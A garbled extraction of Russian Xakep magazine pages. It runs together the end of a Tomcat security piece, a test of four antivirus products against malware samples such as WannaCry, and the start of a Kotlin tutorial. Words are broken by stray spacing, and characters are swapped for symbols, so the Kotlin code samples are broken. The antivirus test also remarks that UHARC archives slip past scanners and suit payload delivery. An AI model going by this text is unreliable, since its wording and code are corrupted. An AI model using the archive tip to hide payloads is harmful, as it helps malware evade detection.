му  не  пре неб регай  базовы ми  нас трой ками  безопас ности,  сво евре мен но
латай дыры и отсле живай новые спо собы атак.

  по  защите  сер вера
Tomcat

•Ре комен дации  от  OWASP

на офи циаль ном сай те
•Ин форма ция  об  уяз вимос тях  Apache  Tomcat

https://twitter.com/ser_storchak
https://xakep.ru/2017/05/16/apache-struts-rce-vhack/
https://goo.gl/46lhwx
https://goo.gl/mx5WDD
https://goo.gl/WNAwjx
https://goo.gl/2waqaN
https://goo.gl/La0qxq
https://goo.gl/pwueAg
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MALWARE

Мы  как‐то  пос порили,  что  боль ше  меша ет  рядово му  поль‐ 
зовате лю:  все воз можные  вирусы  или  сов ремен ные  анти‐ 
виру сы?  Воп рос  остался  откры тым,  но  те  и  дру гие  сей час
мно жат ся  с  уди витель ной  ско ростью.  Пос мотрим,  чем  нас
пораду ет  оче ред ной  анти вирус ный  квар тет  и  смо жет  ли  он
про тивос тоять шиф роваль щику WannaCry.

УЧАСТНИКИ ТЕСТИРОВАНИЯ
1. Ки тай ский Advanced SystemCare Ultimate с анти виру сом.
2. Не мец кий Ashampoo Anti‐Virus 2016.
3. Бри тан ский BullGuard Antivirus 2017.
4. Но возе ланд ский Emsisoft Anti‐Malware.

Статья  носит  иссле дова тель ский  харак тер.  Она
пред назна чена  для  спе циалис тов  по  безопас‐ 
ности  и  тех,  кто  хочет  ими  стать.  Все  фай лы
получе ны из откры тых источни ков и уда лены пос‐ 
ле тес тирова ния. Автор не пионер, поэто му отка‐ 
зыва ется  от  ответс твен ности  за  всё  и  за  всех.
В редак ции тоже нет пионе ров.

МЕТОДИКА ТЕСТИРОВАНИЯ
Как и в          , мы исполь зовали
кло ны чис той Windows 10 для обес печения рав ных усло вий всем учас тни кам.
Помимо обыч ной про вер ки на выяв ление осо бо опас ных злов редов, мы под‐ 
готови ли  два  допол нитель ных  тес та:  на  глу бину  рекур сии  и  на  про тиво дей‐ 
ствие активно му зараже нию через эле мен ты авто запус ка.

се рии пре дыду щих тес тов бес плат ных ан тивиру сов

Смысл  пос ледне го  тес та  в  том,  что бы  выявить  анти виру сы  с  кор рек тно
реали зован ной фун кци ей защиты на ран нем эта пе. При каж дом запус ке Win‐
dows раз личные объ екты авто заг рузки выс тра ивают ся в оче редь. Ком понен ты
анти виру са в ней дол жны рас полагать ся как мож но бли же к началу — так, что‐ 
бы не мешать заг рузке ОС, но в то же вре мя получать кон троль рань ше сто‐ 
рон них прог рамм.

Вто росор тные  анти виру сы  име ют  сла бую  интегра цию  в ОС. Они  не  заг‐ 
ружа ют  собс твен ные  драй веры  (или  дела ют  это  кри во),  не  перех ватыва ют
сис темные вызовы и работа ют прак тичес ки на уров не обыч ного при ложе ния.
Такие  про дук ты  в  прин ципе  не  спо соб ны  про тивос тоять  рут китам  и  прод‐ 
винутым  механиз мам  активно го  зараже ния  —  толь ко  отлавли вают  спя щую
заразу при рутин ной про вер ке фай лов.

У качес твен ных анти виру сов интегра ция с ОС мак сималь но глу бокая, да и
средс тва самоза щиты раз виты неп лохо. В целом они эффектив но про тивос‐ 
тоят попыт кам зараже ния даже на эта пе заг рузки ОС, одна ко они все рав но
зависят от ее надеж ности и ком петен тнос ти поль зовате ля. Поэто му их мож но
обой ти,  поп росив  поль зовате ля  вре мен но  отклю чить  анти вирус  (нап ример,
ради уста нов ки взло ман ной игры) или вос поль зовав шись незак рытой дырой
в каком‐нибудь сис темном ком понен те.

Имен но пос леднее и делал шиф роваль щик WannaCry, про никая на компь‐ 
юте ры с Windows через 0day‐уяз вимость в SMB. Никако го соци аль ного инжи‐
нирин га для его рас простра нения не тре бова лось. Пос коль ку он не содер жал
откро вен но  вре донос ных  ком понен тов  (шиф рование  —  легитим ная  и  рас‐ 
простра нен ная опе рация) и не был известен до начала эпи демии, прак тичес‐ 
ки все анти виру сы его про пус кали. Теперь, ког да дыру зак рыли пат чем, а сиг‐ 
натура  WannaCry  появи лась  в  базах,  его  дол жны  без  тру да  обна ружи вать
и  бло киро вать  все  анти виру сы…  но  что  про изой дет,  если WannaCry  все  же
про пишет ся  на  авто запуск?  Успе ет  ли  анти вирус  перех ватить  кон троль
и обез вре дить его? Мы узна ем это из собс твен ного опы та.

В  ходе  дан ной  про вер ки  мы  ими тиру ем  рас простра нен ную  ситу ацию:
защита в реаль ном вре мени была при оста нов лена и злов ред успел записать‐ 
ся на диск. Ключ его авто мати чес кого запус ка добавил ся в авто запуск  (нап‐ 
ример, в сек цию  ), и со сле дующей перезаг рузкой нач нется гон ка
за глав ный приз — кон троль над сис темой.

H�L�ŝ ɎRun

ЗЛОВРЕДЫ
На этот раз в под борку попали злов реды для раз ных опе раци онок: UNIX, ma‐
cOS,  Linux,  Android  и Windows. Сре ди  них  есть  и  лидер пос ледних  вирус ных
чар тов — шиф роваль щик WannaCry  (aka Wana Decrypt 0r, aka WCry, aka Wan‐
naCrypt 0r, aka WannaCrypt). Ему мы уде лим осо бое вни мание.

Пол ный спи сок злов редов в дан ной тес товой под борке выг лядит так:
1.  .Android_VikingHorde
2.  .Equation Laserv
3.  .UNIX Crypnux
4.  .Worm Conficker Kido
5.  .OSX iWorm
6.  .Trojan Proteus Razy
7.  .HDDCryptor Mamba
8.  .Linux Rex Drupal
9.  .Encoder Satana Teslacrypt
10.  .WannaCryptor

ADVANCED SYSTEMCARE ULTIMATE V. 10.1
Пер вый учас тник тес тирова ния — Advanced SystemCare Ultimate (с анти виру‐ 
сом). Да,  он  так  и  называ ется — с  при меча нием  в  скоб ках. Фра за  «ска чать
бес плат но»  на  сай те раз работ чика может  ввес ти  в  заб лужде ние. Бес плат но
мож но  имен но  заг рузить  эту  прог рамму  с  озна коми тель ным  пери одом
в трид цать дней. Работа ет она в любой вер сии Windows от XP до 10.

Как и ожи далось, рек лама появ ляет ся уже во вре мя уста нов ки. Опция «не
бес поко ить»,  поз воля ющая  отка зать ся  от  (некото рых)  рек ламных  пред‐ 
ложений, дос тупна толь ко на сле дующем эта пе.

При каж дом запус ке прог рамма авто мати чес ки про веря ет наличие новых
вер сий, но не может ска чать обновле ние самос тоятель но. Вмес то это го она
откры вает ссыл ку на стра ницу заг рузки в бра узе ре, уста нов ленном по умол‐ 
чанию (в нашем слу чае — Edge). Так же в нем откры вает ся фоновая стра ница
(pop under) с рек ламой дру гих про дук тов IObit.

Сра зу  пос ле  уста нов ки  све жей  вер сии  анти вирус  ска чива ет  обновле ние
баз — поч ти 200 Мбайт и затем еще око ло 70 Мбайт в тот же день. Про эко‐ 
номию  тра фика  раз работ чики  не  слы шали.  Базы  ска чива ются  каж дый  раз
целиком и доволь но мед ленно. Обыч но ско рость сос тавля ет сот ни килобайт
в секун ду, пос коль ку их сер вер хро ничес ки перег ружен.

Для начала обновля ем Advanced SystemCare Ultimate (с анти виру сом) :)

Дож давшись завер шения обновле ния, мы решили про верить активность всех
ком понен тов.  На  пер вый  взгляд,  в  раз деле  «Инс тру мен ты»  их  очень  мно го,
но  на  самом  деле  это  лишь  ссыл ки  на  дру гие  про дук ты,  рек ламные  пред‐ 
ложения уста новить допол нитель ный софт (кста ти, с низ кой репута цией).

Ин тегри рован ные ссыл ки на Adware в анти виру се

Нас трой ки  же  самого  анти виру са  откры вают ся  при  кли ке  на  кноп ке  меню
в  левом  вер хнем  углу.  По  умол чанию  в  сек ции  «Парамет ры  ска ниро вания»
отме чена  опция  «Про пус кать  фай лы  раз мером  более  50  Мбайт».  Мы  ее
отклю чили,  так  как  не  счи таем  раз мер фай ла  кри тери ем  его  безопас ности.
Опции  «Про верять  фай лы  через  один»  мы  не  наш ли,  а  жаль.  Она  бы  тоже
уско рила работу анти виру са, выс вобож дая ресур сы для показа рек ламы. Раз‐ 
работ чики, возь мите на замет ку!

Круп ные фай лы счи тают ся безопас ными

Дру гая  сом нитель ная  нас трой ка  называ ется  «тихий  режим».  Она  вклю чена
по  умол чанию  и  отклю чает  ряд  фун кций  анти виру са,  если  запуще на  одна
из  ука зан ных  прог рамм.  В  этом  спис ке  изна чаль но  есть  Camtasia  Studio
и Nero StartSmart. Если бы опция касалась толь ко уве дом лений, это было бы
понят но. Одна ко в «тихом режиме» отклю чает ся авто обновле ние анти виру са
и зап ланиро ван ные про вер ки, что сни жает уро вень защиты.

Silent Heal

Бо лее  инте рес ный  параметр  нас тро ек —  глу бина  рекур сии.  По  умол чанию
она задана мак сималь ная, а зна чит, анти вирус дол жен про верять сос тавные
объ екты. Нап ример, упа кован ные экзешни ки и архи вы, вло жен ные друг в дру‐ 
га. Про верим это в отдель ном тес те!

Advanced SystemCare Ultimate  (далее — ASCU)  исполь зует  дви жок Bitde‐
fender и име ет ком понент защиты в реаль ном вре мени, но в дефол тных нас‐ 
трой ках он про веря ет толь ко  ,  , архи вы и докумен ты. Поэто му наша
под борка злов редов без проб лем ско пиро валась в каталог «Заг рузки». У всех
образцов было рас ширение  , а реаль ное ука зано как часть име ни фай ла.

Ŝexe Ŝdll

Ŝtst
Ес ли же вклю чить в нас трой ках пол ную про вер ку всех фай лов на лету,  то

ASCU поз воля ет ско пиро вать злов редов на локаль ный диск, но тут же обна‐ 
ружи вает их, бло киру ет дос туп и пред лага ет уда лить.

За пос тоян ную защиту в ASCU отве чают  три  ком понен та, два из  которых
авто мати чес ки запус кают ся как сис темные служ бы. Тре тий стар тует как при‐ 
ложе ние с гра фичес ким интерфей сом и сво рачи вает ся в трей.

Ком понен ты ASCU в авто запус ке

Ин терфейс  выбороч ной  про вер ки  по  зап росу  мак сималь но  аске тичен.
Это прос то окно про вод ника,  которое откры вает ся пря мо внут ри окна анти‐ 
виру са.

Ок но выбороч ной про вер ки

Для про вер ки мы ука зали наш каталог  , в котором было
ров но  десять  отоб ранных  злов редов.  ASCU  решил  на  вся кий  слу чай  про‐ 
верить  еще  две  тысячи  с  чем‐то  фай лов  и  обна ружил  один надцать  угроз,
дваж ды руг нувшись на тро яна Viking Horde для ОС Android. Будем счи тать, что
пер вый тест выпол нен на 110%.
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Мно гос лой ный интерфейс попапов

Для вто рого тес та мы при гото вили «мат решки» — дюжину злов редов в архи‐ 
вах  раз ной  сте пени  вло жен ности,  начиная одно уров невым ZIP  и  закан чивая
сочета нием  ZIP‐RAR‐CAB‐TAR.7z.  Допол нитель но  мы  сде лали  набор
образцов в архи вах менее популяр ных фор матов (ARJ, LHA, UHA, TGZ), а так‐ 
же обра зы .ISO и .WIM.

С  обра зами  и  «мат решка ми»  ASCU  спра вил ся  прек расно —  рас паковал
все фай лы популяр ных фор матов и нашел в них всех злов редов. Единс твен‐ 
ное, перед чем спа совал анти вирус, — это архив UHARC с номером девять.
Его он про верить не смог.

Ки тай цы не любят «уху»

В  пре вен тивном  режиме  десятая  вер сия  Advanced  SystemCare  Ultimate
показа ла себя доволь но хорошо. Анти вирус кор рек тно про веря ет фай лы раз‐ 
ных фор матов, рас паковы вает обра зы и боль шинс тво архи вов, вклю чая мно‐ 
гоуров невые  вло жения.  Одна ко  модуль  пос тоян ной  защиты  нас тра ивает ся
по прин ципу «все или ничего». Фай лы про веря ются по рас ширению без ана‐ 
лиза  их  реаль ного  фор мата.  В  нас трой ках  по  умол чанию  сте пень  защиты
силь но сни жена. Дос таточ но изме нить рас ширение, и злов ред оста нет ся нет‐ 
ронутым.

Ан тивирус спо собен авто мати чес ки опре делять и уда лять угро зы для раз‐ 
ных  опе раци онок,  толь ко  если  задать  мак сималь ные  парамет ры  защиты.
При этом при дет ся пожер тво вать ско ростью,  так как никаких интеллек туаль‐ 
ных алго рит мов опти миза ции про вер ки не пре дус мотре но.

Тест  на  активное  зараже ние ASCU про валил  прос то  эпи чес ки. WannaCry
спо кой но  запус тился,  зашиф ровал  фай лы  и  гор до  сооб щил  об  этом,  пока
анти вирус пытал ся успо коить над писью «Защищен».

Сом нения в защите? Нап расно!

https://xakep.ru/2017/02/16/ransomware-x-test/
https://xakep.ru/2016/12/23/best-av-test-6/
https://xakep.ru/2016/10/31/best-av-test-5/
https://xakep.ru/2016/08/29/best-av-test-4/
https://xakep.ru/2016/06/21/best-av-test-3/
https://virustotal.com/en/file/254c1f16c8aa4c4c033e925b629d9a74ccb76ebf76204df7807b84a593f38dc0/analysis/1495801826/
https://virustotal.com/en/file/9412a66bc81f51a1fa916ac47c77e02ac1a7c9dff543233ed70aa265ef6a1e76/analysis/1495801964/
https://virustotal.com/en/file/ee21378abf78e31d79f9170e76d01ffb74aa65ce885937fb5bc1e71dff68627d/analysis/1495802072/
https://virustotal.com/en/file/523d40c69b0972ddeff0682fcb569e8a346cf10b2894479ab227bbb24e19846e/analysis/
https://virustotal.com/en/file/9812152828862aa4b906049e83017fa02dea27e76b2543a7121ac259cafea722/analysis/
https://virustotal.com/en/file/d23b4a30f6b1f083ce86ef9d8ff434056865f6973f12cb075647d013906f51a2/analysis/
https://virustotal.com/en/file/2ecc525177ed52c74ddaaacd47ad513450e85c01f2616bf179be5b576164bf63/analysis/
https://virustotal.com/en/file/762a4f2bf5ea4ff72fce674da1adf29f0b9357be18de4cd992d79198c56bb514/analysis/
https://virustotal.com/en/file/683a09da219918258c58a7f61f7dc4161a3a7a377cf82a31b840baabfb9a4a96/analysis/
https://virustotal.com/en/file/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa/analysis/
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ASHAMPOO ANTI-VIRUS 2016
Этот анти вирус работа ет во всех вер сиях Windows — от «семер ки» до «десят‐ 
ки». Во вре мя уста нов ки озна коми тель ной вер сии Ashampoo AV 2016 не было
никакой  рек ламы  —  при ятный  сюр приз!  Нам  толь ко  показа ли  стан дар тное
пре дуп режде ние  о  несов мести мос ти  ком понен тов  защиты  в  реаль ном  вре‐ 
мени раз ных про изво дите лей и поп росили выпол нить перезаг рузку.

Во  вре мя  перезаг рузки  тес товая  сис тема  с  чис той  Windows  10  завис ла
наг лухо.  Конеч но,  в  таком  сос тоянии  ей  не  страш ны  никакие  злов реды,
но  сам  метод  защиты  спор ный.  Мы  видели  чуть  более  удоб ные,  которые
все‐таки поз воля ют исполь зовать компь ютер.

Ве роят но, зависа ние свя зано с сыростью ком понен тов анти виру са. У мно‐ 
гих  из  них  до  сих  пор  оста лись  крас норечи вые  слу жеб ные  записи  вро де
«Добавить опи сание фай ла» и «Добавить наз вание ком пании».

Ком понен ты авто заг рузки анти виру са Ashampoo

Пов торная  перезаг рузка  выпол нялась  минут  двад цать  (да,  мы  тер пеливые)
и  все  же  завер шилась  успешно.  Сра зу  пос ле  заг рузки Windows  в  бра узе ре
Edge  откры лась  веб‐стра ница    с  пред‐ 
ложени ем зап росить  ключ для акти вации озна коми тель ной вер сии на сорок
дней или про дол жить ее исполь зование в течение десяти дней без регис тра‐ 
ции. Мы зарегис три рова лись, обно вили базы и прис тупили к зна комс тву.

httpsśŵŵregpopŜashampooŜcom

Ре гис тра ция Ashampoo AV

Ин терес но, что в этом анти виру се исполь зует ся два движ ка: Bitdefender и Em‐
sisoft, но отклю чить мож но толь ко пос ледний.

В нас трой ках по умол чанию отме чена про вер ка всех типов фай лов и сто ит
огра ниче ние: не про верять фай лы круп нее 64 Мбайт. Этот лимит мож но при‐ 
нуди тель но  уве личить,  но  не более  чем до 512 Мбайт. Задать  нулевое  зна‐ 
чение и убрать огра ниче ние сов сем нель зя. Очень стран ный под ход.

Как  и  пре дыду щий  учас тник  тес тирова ния,  Ashampoo  AV  поз волил  ско‐ 
пиро вать  десяток  злов редов  в  каталог  .  Одна ко
при  его  выбороч ной  про вер ке  он  момен таль но  опоз нал  всех  и  пред ложил
уда лить. 10 из 10 — чис тая победа.
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Чис тый детект

Рас шифров ка резуль татов про вер ки

Вы бор объ ектов тоже сде лан удоб нее, чем в про дук тах IObit. Помимо отдель‐ 
ных дис ков,  катало гов и фай лов, мож но отме тить для про вер ки запущен ные
про цес сы, реестр и MBR.

В сле дующем тес те мы пред ложили анти виру су Ashampoo про верить наши
«мат решки». Он спра вил ся со все ми, кро ме архи ва UHARC, показав резуль‐ 
тат 9 из 10.

Про вер ка обра зов и архи вов

Тест на активное зараже ние анти вирус про валил. Пока мы наб людали сооб‐ 
щение  «Заг рузка  анти вирус ных баз — пожалуй ста, жди те», WannaCry  вов сю
шиф ровал фай лы и рас ска зывал, как имен но надо пла тить выкуп.

Чуть помед леннее, кони!

За бав но, что, пока заг ружал ся Ashampoo, очнулся Windows Defender (который
мы пред варитель но отклю чали) и пред ложил уда лить тро яна с перезаг рузкой.
Ему это уда лось, но что тол ку? Фай лы поль зовате ля оста лись зашиф рованы.

По луза щит ник спе шит на помощь

В  целом  Ashampoo  Anti‐Virus  2016  похож  на  слег ка  дорабо тан ный  вари ант
пре дыду щего  анти виру са  IObit.  Тво рение  Ashampoo  выпол няет  быс трое
обновле ние баз,  заг ружая  толь ко изме нен ные фай лы. Этот анти вирус  так же
про пус кает злов редов с изме нен ными рас ширени ями на уров не пос тоян ной
защиты,  но  видит  их  при  руч ном  ска ниро вании  с  дефол тны ми  нас трой ками.
Он  прек расно  справ ляет ся  с  мно гоуров невыми  вло жени ями  и  спо тыка ется
на том же мало извес тном фор мате  .Ŝuha

Ан тивирус  Ashampoo  реаги рует  на  угро зы  для  раз ных ОС,  но,  в  отли чие
от  Advanced  SystemCare  Ultimate,  обес печива ет  более  быс трый  и  точ ный
резуль тат. Его основной недос таток — нес пешная ини циали зация. Злов реды
успе вают заг рузить ся задол го до того, как он запус тит все модули и про чита‐ 
ет с дис ка анти вирус ные базы.

По мимо  анти вирус ного  ска нера  и  ком понен тов  защиты  в  реаль ном  вре‐ 
мени,  Ashampoo Anti‐Virus  пред лага ет  набор допол нитель ных  инс тру мен тов.
Сре ди  них  есть  ути лита  гаран тирован ного  уда ления  фай лов  (с  затира нием
сво бод ного  мес та),  прог рамма  для  поис ка  скры тых  сле дящих  ком понен тов,
мас тер очис тки бра узе ра, кон троль фай ла hosts, прос той тви кер авто заг рузки
(он  про веря ет  толь ко  основные  сек ции    и  )
и менед жер LSP (про веря ет обра бот чики вызовов Winsock API).
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На наш взгляд, уро вень это го анти виру са соот ветс тву ет хорошим бес плат‐ 
ным  про дук там.  Он  доволь но  удо бен  и  ненавяз чив,  обла дает  неболь шой
допол нитель ной фун кци ональ ностью. В то же вре мя воз можнос ти иссле дова‐ 
ния сис темы у бес плат ного AVZ гораз до шире, а кон куриро вать с извес тны ми
плат ными анти виру сами про дук ции Ashampoo будет очень слож но.

BULLGUARD ANTIVIRUS 16.0
Бри тан ский  анти вирус  BullGuard  так же  работа ет  в  Windows  с  Vista
по  10  любой  раз ряднос ти. Он  тре бует  выпол нить  регис тра цию  сра зу  пос ле
уста нов ки, прос то зак рыва ясь в про тив ном слу чае. Хорошо, что для пре одо‐ 
ления  это го  шага  дос таточ но  ввес ти  что  угод но  с  сим волом    в  качес тве
адре са  email.  Под твержде ние  не  тре бует ся,  а  на  ука зан ный  адрес  прос то
при ходит пись мо с уве дом лени ем о начале 15‐днев ного проб ного пери ода.
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В глав ном окне BullGuard отоб ража ется семь модулей, но активны из них
толь ко два: собс твен но анти вирус и спам‐филь тр. Осталь ные пять — рек лама
допол нитель ных ком понен тов пол нофун кци ональ ной плат ной вер сии.

Ав томати чес кое обновле ние баз не запус кает ся при пер вом запус ке. Его
приш лось  выпол нить  вруч ную.  Зато  сра зу  пос ле  уста нов ки  анти вирус  начал
выпол нять некую «опти миза цию сис темы» — ни о чем не спра шивая и не поз‐ 
воляя отме нить этот про цесс штат ным обра зом.

BullGuard — при нуди тель ная опти миза ция

Нас трой ки про вер ки у BullGuard очень скуд ные даже в режиме Custom. Мож‐ 
но прос то про верять или не про верять объ екты по груп пам. Допол нитель ные
опции,  вро де  исклю чения фай лов  по  мас кам  и  носите лей  по  типам,  откры‐ 
вают ся в раз деле  . По умол чанию задано огра ниче ние: не про верять
архи вы более 5 Мбайт и с глу биной рекур сии боль ше двух. Мы его сня ли, так
как  пла ниро вали  выпол нить  про вер ку  архи вов  боль шого  раз мера  и  уров ня
вло жен ности.  Мак сималь но  мож но  задать  ска ниро вание  до  16‐го  уров ня
вклю читель но.

Tuning

Нас трой ки BullGuard

У анти виру са BullGuard самая глу бокая интегра ция в ОС — одних служб уста‐ 
нав лива ется косой десяток. Будем наде ять ся, что от них будет толк.

Ком понен ты BullGuard в авто заг рузке

BullGuard так же исполь зует дви жок Bitdefender, но, в отли чие от двух пре дыду‐ 
щих  учас тни ков  тес тирова ния,  обес печива ет  высокий  уро вень  защиты
в  режиме  реаль ного  вре мени.  Всех  тес товых  злов редов  он  обез вре дил
еще  на  эта пе  их  копиро вания  в  каталог  .  Вмес то
целево го катало га все они попали в каран тин. Замена рас ширений анти вирус
не обма нула.

ɎDownloadsɎSamplesɎ

Ге ноцид в реаль ном вре мени

Ана логич но  с  архи вами  и  обра зами.  Анти вирус  не  поз волил  ско пиро вать
«мат решки», разоб рав и обез вре див их на лету. Катало га наз начения дос тиг
толь ко архив  , который, как мы уже убе дились ранее, дви жок Bitdefender
не уме ет рас паковы вать.

Ŝuha

Ис треб ление мат решек

Тест на активное зараже ние BullGuard про шел успешно. WannaCry попытал ся
запус тить ся пос ле перезаг рузки, но был момен таль но обна ружен и переме‐ 
щен  в  каран тин. Шиф роваль щик  не  успел  внес ти  никаких  изме нений  в  сис‐ 
тему.

WannaCry рыда ет в каран тине

В прин ципе, на этом в тес те BullGuard мож но пос тавить точ ку. Это оче ред ной
анти вирус на осно ве  тех нологий Bitdefender с минималь но дос тупны ми нас‐ 
трой ками  и  стран ными  огра ниче ниями,  но  с  доведен ной  до  ума  защитой
в  реаль ном  вре мени  и  хорошим  про тиво дей стви ем  активно му  зараже нию.
«Выс тре лить себе в ногу» с таким анти виру сом поль зовате лю будет слож но.

EMSISOFT ANTI-MALWARE
Этот  анти вирус  из  Новой  Зелан дии  работа ет  в  Windows  7–10  любой  раз‐ 
ряднос ти.  Помимо  движ ка  ком пании  Bitdefender,  в  нем  исполь зует ся  собс‐ 
твен ный. Пос мотрим, нас коль ко это дела ет его луч ше.

На бор  собс твен ных  ком понен тов  авто запус ка  в  нем  выг лядит  скром но,
хотя, конеч но, побеж дать луч ше «не чис лом, а уме нием».

За писи анти виру са Emsisoft в авто запус ке

Не кото рые  нас трой ки  анти вирус  Emsisoft  поз воля ет  задать  уже  во  вре мя
уста нов ки.  Сре ди  них  обна руже ние  потен циаль но  нежела тель ных  прог рамм
(PUP)  и  под клю чение  к  сер вису  облачной  про вер ки.  Ком понент  защиты
в реаль ном вре мени акти виру ется пос ле перезаг рузки.

Ос новные нас трой ки

По  умол чанию  нет  никаких  огра ниче ний  на  раз мер  про веря емых  фай лов
и  глу бину  рекур сии,  одна ко  про вер ка  на  лету  вклю чена  толь ко  для  фай лов
с опре делен ными рас ширени ями. Наша под борка злов редов с мас кой 
ско пиро валась на диск без проб лем.

Ŝtst

Нас трой ки ска ниро вания

Во  вре мя  выбороч ного  ска ниро вания  мы  отме тили  для  про вер ки  толь ко
каталог  . Нес мотря  на  это,  анти вирус  про верил  так же
все  запущен ные  про цес сы  и  отдель ные  клю чи  реес тра.  Пот ратив  на  них
с  пол минуты,  он  прак тичес ки мгно вен но  про ана лизи ровал  тес товый  каталог
и нашел всех злов редов с изме нен ными рас ширени ями. Резуль тат: 10 из 10.
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10 из 10

За бав но, что анти вирус рекомен дует про читать интервью с экспер тами Ems‐
isoft об эпи демии WannaCry, при этом сам опре деля ет злов реда как 

.
Tro�anŜ

Generic
Как и дру гие учас тни ки сегод няшне го тес тирова ния, Emsisoft Anti‐Malware

успешно рас паковал и про верил все мно гоуров невые архи вы, за исклю чени‐ 
ем  UHARC.  Похоже,  сегод ня  это  иде аль ное  средс тво  для  дос тавки  боевой
наг рузки.

UHARC — стелс в мире архи вов

Emsisoft Anti‐Malware уме ет про верять аль тер натив ные потоки NTFS и выпол‐ 
нять  пря мой  дос туп  к  дис ку,  а  не  толь ко  ска ниро вать фай лы  через  драй вер
фай ловой  сис темы.  Это  нуж но  для  успешно го  про тиво дей ствия  рут китам
и активно му зараже нию.

WannaCry был оста нов лен при авто заг рузке

Эф фектив ность  такого  решения  под твержда ет  и  наш  тест.  Пос ле  перезаг‐ 
рузки  анти вирус  Emsisoft  сра зу  обна ружил  тро яна  WannaCry  в  авто запус ке
и помес тил его в каран тин, не дав шиф роваль щику внес ти какие‐либо изме‐ 
нения.

ВЫВОДЫ
Скла дыва ется впе чат ление, что это такая мода сре ди соф твер ных ком паний
любого про филя — писать свои анти виру сы. Неваж но, что в них будет чужой
дви жок  и  скуд ный  набор  ком понен тов.  Глав ное —  пред ложить  «фир менный
анти вирус»,  а  затем  исполь зовать  его  для  прод вижения  дру гих  про дук тов.
Пре дыду щие  тес ты  показа ли,  что  боль шинс тво  бес плат ных  анти виру сов
не справ ляют ся со сво ими задача ми. Они слу жат ско рее рек ламной пло щад‐ 
кой  и  средс твом  сбо ра  рас ширен ной  ста тис тики  поль зователь ских  пред‐ 
почте ний, чем ком понен тами защиты.

Сре ди условно‐бес плат ных анти виру сов тоже мно го одно тип ных поделок,
но все же встре чают ся дос таточ но инте рес ные решения. Как и любые прог‐ 
раммы, они не лишены недос татков, одна ко пос ле зна комс тва с ними хотя бы
понят но,  за  что  раз работ чики  хотят  денег.  Анти виру сы  ком паний  BullGuard
и Emsisoft показа ли хороший уро вень детек та, адек ватную защиту в реаль ном
вре мени  (осо бен но  пос ле  нас трой ки)  и  эффектив ное  про тиво дей ствие
попыт кам зараже ния на эта пе авто заг рузки.

•Advanced SystemCare Ultimate с анти виру сом
•Ashampoo Anti‐Virus 2016
•BullGuard Antivirus 2017 (x86)
•BullGuard Antivirus 2017 (x64)
•Emsisoft Anti‐Malware

http://update.iobit.com/dl/asc-ultimate-setup.exe
http://ashampoo.downloadcluster.com/ashampoo/0449/ashampoo_anti-virus_1.3.0_sm.exe
http://downloads.bullguard.com/BullGuard160AV_DEFS.exe
http://downloads.bullguard.com/BullGuard160AV_x64_DEFS.exe
http://dl.emsisoft.com/EmsisoftAntiMalwareSetup.exe
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řŝœŗŜŒ

Во вре мя написа ния этой статьи про изош ло очень боль шое
событие —  Kotlin  был  приз нан  офи циаль ным  язы ком  прог‐ 
рамми рова ния для плат формы Android. Год назад мы уже 

,  но  жизнь  не  сто ит  на  мес те,  и  в  этой
статье я рас ска жу тебе, какими фичами Kotlin смог покорить
меня, ста рого и закален ного прог раммис та. :)

пи‐ 
сали  про  этот  язык

Уже  мно го  лет  как  JVM  —  это  не  прос то  вир туаль ная  машина,  в  байт‐код
которой ком пилиру ется язык прог рамми рова ния Java, а неч то куда боль шее.
Сегод ня JVM — это плат форма, для которой сущес тву ет мно жес тво популяр‐ 
ных язы ков прог рамми рова ния, таких как  . Kotlin —
еще один язык в этом ряду, и он обла дает целым рядом пре иму ществ и осо‐ 
бен ностей. Сей час это уже не толь ко язык для JVM, есть вари анты для Java‐
Script и даже Kotlin Native, что очень добав ляет ему прив лекатель нос ти.

Scala, Groovy и Clojure

Ме ня вряд ли мож но наз вать огол телым пат риотом, но мне очень при ятно
думать,  что  язы ком  прог рамми рова ния,  который  соз дает ся  в  Рос сии,  поль‐ 
зуют ся люди по все му миру.

По чему  «соз дает ся»,  а  не  «соз дан»?  Дело  в  том,  что  язы ки  прог рамми‐ 
рова ния  эво люци они руют,  и  это  нор маль но  (кро ме  слу чая  C++  —  ну  же,
ребята, хва тит уже). Поэто му все, что здесь опи сано, вер но здесь и сей час (а
даль ше, уве рен, будет толь ко луч ше).

КЛАССЫ И ОБЪЕКТЫ
Нач нем  с  прос того  —  с  ООП.  В  статье  я  буду  акценти ровать  вни мание
на необыч ных с точ ки зре ния Java момен тах.

В язы ке Kotlin пер вичный конс трук тор не может содер жать кода и код дол‐ 
жен быть вынесен в блок ини циали зации.

class Customerſnameś Stringƀ Ƈ
    init Ƈ
        loggerŜin�oſɑCustomer initiali�ed with �alue ɛƇnameƈɑƀ
    ƈ
ƈ

Од нако  допол нитель ные  конс трук торы  мало  чем  отли чают ся  от  ана логов
в Java:

class Person Ƈ
    constructorſparentś Personƀ Ƈ
        parentŜchildrenŜaddſthisƀ
    ƈ
ƈ

Ес ли же пер вичный конс трук тор содер жит парамет ры, то дру гие конс трук торы
дол жны делеги ровать (явно или неяв но через дру гой, вто рич ный конс трук тор)
соз дание объ екта пер вично му конс трук тору:

class Personſ�al nameś Stringƀ Ƈ
    constructorſnameś Stringř parentś Personƀ ś thisſnameƀ Ƈ
        parentŜchildrenŜaddſthisƀ
    ƈ
ƈ

Здесь еще есть неиз меня емое поле  , теперь оно часть клас са. Конеч но,
мож но сде лать конс трук тор непуб личным, нап ример так:

name

class DontCreate�e pri�ate constructor ſƀ Ƈ
ƈ

На вер ное, самая инте рес ная осо бен ность — это отсутс твие клю чево го сло ва
  в  Kotlin.  Что бы  соз дать  объ ект,  нуж но  прос то  выз вать  соот ветс тву ющий

конс трук тор:
new

�al in�oice ʰ In�oiceſƀ
�al customer ʰ Customerſɑ
oe Smithɑƀ

В Kotlin ана лог   —  , базовый класс для всех клас сов, хотя это ана‐ 
лог  толь ко  в  смыс ле  кор ня  иерар хии,  он  не  име ет  , 
и  .

Ob�ect Any
equalsſƀ hashCodeſƀ

toStringſƀ
Все клас сы в Kotlin по умол чанию  , от них нель зя нас ледовать, и, что‐ 

бы сде лать класс откры тым для нас ледова ния, нуж но объ явить его как  :
�inal

open

open class Baseſpś Intƀ
class Deri�edſpś Intƀ ś Baseſpƀ

Это же каса ется и методов, которые мож но пере опре делять, они так же дол‐ 
жны быть помече ны как  :open

open class Base Ƈ
    open �un canO�errideſƀ Ƈƈ
    �un cannotO�errideſƀ Ƈƈ
ƈ
class Deri�edſƀ ś Baseſƀ Ƈ
    o�erride �un canO�errideſƀ Ƈƈ
ƈ

